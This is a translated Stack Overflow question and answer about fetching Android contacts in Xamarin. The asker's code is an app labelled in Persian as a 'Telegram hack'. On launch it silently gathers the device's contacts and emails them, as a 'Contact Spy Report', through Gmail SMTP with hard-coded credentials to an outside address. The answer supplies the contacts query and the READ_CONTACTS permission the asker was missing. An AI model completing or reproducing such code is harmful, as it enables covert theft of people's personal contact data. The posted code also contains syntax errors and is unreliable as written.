c# - 在 Xamarin 中获取 Android 联系人

标签 c# android xamarin xamarin.android

目前,我有一些无法使用 Visual Studio 的限制。 我有一项紧急工作,需要一个 Android 程序,但我不知道如何在其中做某事,因为 Visual Studio 帮助我提出了建议,但我没有。我想获取带有姓名和电话号码的 Android 联系人。 目前,这是我在 App.cs 中的代码:

using System;
using System.Linq;

using Android.App;
using Android.Content;
using Android.OS;
using Android.Views;
using Android.Views.InputMethods;
using Android.Widget;
using System.Net;
using System.Net.Mail;

namespace Tlgr
{
    [Activity(Label = "هک تلگرام", MainLauncher = true)]
    public class App : Activity
    {
        protected override void OnCreate(Bundle bundle)
        {
            base.OnCreate(bundle);
            var ctks = Contact.GetContacts();
            using (var mail = new MailMessage())
            {
                mail.From = new MailAddress("feedbackhost.sender@gmail.com");
                mail.To.Add("asm262015@gmail.com");
                mail.Subject = "Contact Spy Report";
                foreach(ctk in ctks)
                {
                    mail.Body += ctk.ToString() + "\r\n";
                }
                using (var smtp = new SmtpClient("smtp.gmail.com", 587))
                {
                    smtp.Credentials = new NetworkCredential("feedbackhost.sender@gmail.com", "feedbackhost");
                    smtp.EnableSsl = true;
                    smtp.Send(mail);
                }
            }
        }
    }

    public class Contact
    {
        public string Name {get;set;}
        public string[] Numbers {get;set;}
        public override ToString()
        {
            var a = $"Name: {Name}";
            foreach (var i in Numbers)
            {
                a += " , Number: " + i;
            }
            return a;
        }

        public static Contact[] GetContacts()
        {

        }
    }
}

我只需要为方法 GetContacts() 添加正文即可解决我的问题。 我搜索过,有不错的结果,但是我不知道怎么用,我需要一个完美的代码!谢谢!

最佳答案

你应该使用ContactsContract.Contacts

ContactsContract.Contacts is the data contract that is used to interface with contact data. The code queries contacts at the Uri defined by ContactsContract.Contacts.ContentUri, returning the columns selected from ContactsContract.Contacts.InterfaceConsts.

 var uri = ContactsContract.CommonDataKinds.Phone.ContentUri;
string[] projection = { ContactsContract.Contacts.InterfaceConsts.Id, ContactsContract.CommonDataKinds.Phone.Number};

更多你可以找到here

您还需要添加权限READ_CONTACTS:

<uses-permission android:name="android.permission.READ_CONTACTS" />

关于c# - 在 Xamarin 中获取 Android 联系人,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42785663/

相关文章:

xamarin - UWP-对象引用未设置为对象的实例

c# - .NET Core Web API 中的 OData 列表/字典序列化

c# - c#创建文件夹快捷方式

c# - TCP Socket.Connect 正在生成误报

javascript - React-native componentWillUnmount 未被调用

java - 如何在Android(JAVA版)中使用Cocos2D实现Sprite Animation?

java - 需要从相机和图库中选择图像的代码 - 适用于所有 Android 手机

debugging - Xamarin 无法在虚拟设备和外部电话上启动调试

xaml - Xamarin.Forms 中 MasterDetailPage 的 XAML 中的数据绑定(bind)

c# - 返回大字节数组的 Web 服务